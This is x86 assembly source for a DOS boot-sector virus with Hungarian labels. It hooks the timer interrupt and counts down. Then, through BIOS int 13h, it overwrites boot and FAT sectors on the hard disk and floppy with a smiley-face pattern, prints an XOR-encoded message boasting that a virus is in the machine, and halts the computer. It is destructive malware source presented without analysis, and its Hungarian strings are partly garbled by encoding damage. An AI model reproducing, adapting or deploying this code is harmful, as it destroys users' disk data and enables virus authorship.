|||
|
add ax,bx
|
|||
|
dec ax
|
|||
|
div bx
|
|||
|
add ds:[7c37h],ax
|
|||
|
mov bx,0500h
|
|||
|
mov ax,ds:[7c3fh]
|
|||
|
db 0e8h,09fh,0
|
|||
|
mov ax,201h
|
|||
|
db 0e8h,0b3h,0,72h,19h
|
|||
|
mov di,bx
|
|||
|
mov cx,0bh
|
|||
|
mov si,7dd6h
|
|||
|
repz cmpsb
|
|||
|
db 75h,0dh
|
|||
|
lea di,ds:[bx+20h]
|
|||
|
mov si,7d1eh
|
|||
|
mov cx,0bh
|
|||
|
repz movsb
|
|||
|
db 74h,18h
|
|||
|
db 0,0,0,0,0,0,0,0,0,0,0,0
|
|||
|
tb12: db 0dfh,2,25h,2,0fh,1bh,0ffh,54h,0f6h,0fh,8,4fh,0,4
|
|||
|
tb720: db 0d1h,2,25h,2,9,2ah,0ffh,50h,0f6h,0fh,4,4fh,80h,5
|
|||
|
tb360: db 0dfh,2,25h,2,9,23h,0ffh,50h,0f6h,0fh,8,27h,40,3
|
|||
|
tb14: db 0a1h,2,25h,2,12h,1bh,0ffh,60h,0f6h,0fh,4,4fh,0,7
|
|||
|
int1e: dw 0,0,0,0,0,0,0,0
|
|||
|
hdtbl: db 50h,0,1,2,50h,0,2,2,50h,0,3,2,50h,0,4,2,50h,0,5,2,50h,0,6,2,50h,0,7,2,50h,0,8,2,50h,0,9,2,50h,0,0ah,2,50h,0,0bh,2,50h,0,0ch,2,50h,0,0dh,2,50h,0,0eh,2
|
|||
|
db 50h,0,0fh,2,50h,0,10h,2,50h,0,11h,2,50h,0,11h,2,50h,0,12h,2
|
|||
|
dstbl: db 28h,0,1,2,28h,0,2,2,28h,0,3,2,28h,0,4,2,28h,0,5,2,28h,0,6,2,28h,0,7,2,28h,0,8,2,28h,0,9,2
|
|||
|
mod2: db 0
|
|||
|
mod1: db 0
|
|||
|
beszur: push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push es
|
|||
|
push ds
|
|||
|
push di
|
|||
|
push si
|
|||
|
mov ax,201h
|
|||
|
mov cx,0ah
|
|||
|
mov bx,offset boot
|
|||
|
mov dx,80h
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
pushf
|
|||
|
push cs
|
|||
|
call int13
|
|||
|
mov es,cs:word ptr [szegm]
|
|||
|
mov es:word ptr [mod2],0
|
|||
|
jc hib
|
|||
|
mov ax,cs:word ptr [boot]
|
|||
|
cmp al,23h
|
|||
|
jnz hib
|
|||
|
mov es:byte ptr [mod2],ah
|
|||
|
jmp hib
|
|||
|
hib: mov es,cs:word ptr[szegm]
|
|||
|
mov bx,offset kiiras
|
|||
|
mov cx,offset kiirv-offset kiiras
|
|||
|
mov al,es:[bx]
|
|||
|
cmp al,20h
|
|||
|
jnz hib1
|
|||
|
cijk: mov al,es:[bx]
|
|||
|
xor al,45h
|
|||
|
mov es:[bx],al
|
|||
|
inc bx
|
|||
|
loop cijk
|
|||
|
hib1: mov ch,25h
|
|||
|
mov ah,4
|
|||
|
int 1ah
|
|||
|
jc friss
|
|||
|
cmp cl,89h
|
|||
|
jc friss
|
|||
|
cmp ch,25h
|
|||
|
jz bete
|
|||
|
cmp dh,7
|
|||
|
jnc bete
|
|||
|
jmp nbete
|
|||
|
friss: mov al,54h
|
|||
|
out 43h,al
|
|||
|
mov al,0ffh
|
|||
|
out 41h,al
|
|||
|
jmp nbete
|
|||
|
bete: cmp es:byte ptr [mod2],2
|
|||
|
jz nbete
|
|||
|
mov ax,0
|
|||
|
mov ds,cs:word ptr [szegm]
|
|||
|
mov es,ax
|
|||
|
mov ax,es:word ptr[70h]
|
|||
|
mov ds:word ptr [tim+1],ax
|
|||
|
mov ax,es:word ptr[72h]
|
|||
|
mov ds:word ptr [tim+3],ax
|
|||
|
mov ax,offset timer
|
|||
|
mov es:word ptr [70h],ax
|
|||
|
mov ax,cs:word ptr [szegm]
|
|||
|
mov es:word ptr [72h],ds
|
|||
|
nbete: pop si
|
|||
|
pop di
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
szegm: dw 0,0
|
|||
|
tim: db 0eah,0,0,0,0,0
|
|||
|
szama: dw 28800
|
|||
|
timer: pushf
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov cx,2
|
|||
|
mov bx,offset atir
|
|||
|
mov al,cs:[bx]
|
|||
|
cmp al,90h
|
|||
|
jnz rwt
|
|||
|
jmp reset
|
|||
|
rwt: call ftr
|
|||
|
jc rwe
|
|||
|
loop rwt
|
|||
|
jmp reset
|
|||
|
rwe: pop ds
|
|||
|
mov ax,cs:word ptr [szama]
|
|||
|
dec ax
|
|||
|
kii: mov cs:word ptr [szama],ax
|
|||
|
jz gyilk1
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
popf
|
|||
|
jmp tim
|
|||
|
gyilk1: mov ax,28800
|
|||
|
mov cs:byte ptr [mod1],1
|
|||
|
inc ax
|
|||
|
jmp kii
|
|||
|
leol: mov bx,offset kiiras
|
|||
|
mov cx,offset kiirv-offset kiiras
|
|||
|
mov al,cs:[bx]
|
|||
|
cmp al,20h
|
|||
|
jz leol1
|
|||
|
adla: mov al,cs:[bx]
|
|||
|
xor al,45h
|
|||
|
mov cs:[bx],al
|
|||
|
inc bx
|
|||
|
loop adla
|
|||
|
leol1: push cs
|
|||
|
pop ds
|
|||
|
cmp cs:byte ptr [mod2],1
|
|||
|
jz atu
|
|||
|
irtas: mov si,offset graf
|
|||
|
mov di,offset boot
|
|||
|
mov cx,128
|
|||
|
mov dl,4*9
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
cld
|
|||
|
cvgh: rep movsb
|
|||
|
sub si,128
|
|||
|
mov cx,128
|
|||
|
dec dl
|
|||
|
jnz cvgh
|
|||
|
mov dx,180h
|
|||
|
mov ax,309h
|
|||
|
mov cx,2
|
|||
|
mov bx,offset boot
|
|||
|
pushf
|
|||
|
push cs
|
|||
|
call int13
|
|||
|
mov dx,280h
|
|||
|
mov ax,309h
|
|||
|
mov cx,2
|
|||
|
mov bx,offset boot
|
|||
|
pushf
|
|||
|
push cs
|
|||
|
call int13
|
|||
|
mov dx,0
|
|||
|
mov ax,309h
|
|||
|
mov cx,1
|
|||
|
mov bx,offset boot
|
|||
|
pushf
|
|||
|
push cs
|
|||
|
call int13
|
|||
|
atu: mov si,offset kiiras
|
|||
|
mov al,2
|
|||
|
mov ah,0
|
|||
|
int 10h
|
|||
|
awqt: mov al,cs:[si]
|
|||
|
cmp al,0
|
|||
|
jz kie
|
|||
|
mov ah,0eh
|
|||
|
mov bx,0
|
|||
|
push si
|
|||
|
int 10h
|
|||
|
pop si
|
|||
|
inc si
|
|||
|
jmp awqt
|
|||
|
kie: cli
|
|||
|
hlt
|
|||
|
jmp kie
|
|||
|
kiiras: db ' Haha,v<>rus van a g<>pben!!',0dh,0ah,'Ez egy eddig m<>g nem k<>zismert v<>rus. De hamarosan az lesz.'
|
|||
|
db 0dh,0ah,'A neve egyszer<65>en t<>lt<6C>get<65> ',0dh,0ah,'Ezt a nev<65>t onnan kapta, hogy'
|
|||
|
db ' felt<6C>lt<6C>geti a FAT-t<>bl<62>t k<>l<EFBFBD>nb<6E>z<EFBFBD> alakzatokkal.',0dh,0ah
|
|||
|
db 'Ez m<>r meg is t<>rt<72>nt !!! ',0dh,0ah,0,0
|
|||
|
graf: db 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32
|
|||
|
db 32,01,01,01,01,01,01,32,32,01,01,01,01,01,01,32
|
|||
|
db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01
|
|||
|
db 01,32,01,32,32,01,32,01,01,32,01,32,32,01,32,01
|
|||
|
db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01
|
|||
|
db 01,32,01,01,01,01,32,01,01,32,01,01,01,01,32,01
|
|||
|
db 32,01,32,32,32,32,01,32,32,01,32,32,32,32,01,32
|
|||
|
db 32,32,01,01,01,01,32,32,32,32,01,01,01,01,32,32
|
|||
|
kiirv: db 0
|
|||
|
start ends
|
|||
|
end
|
|||
|
|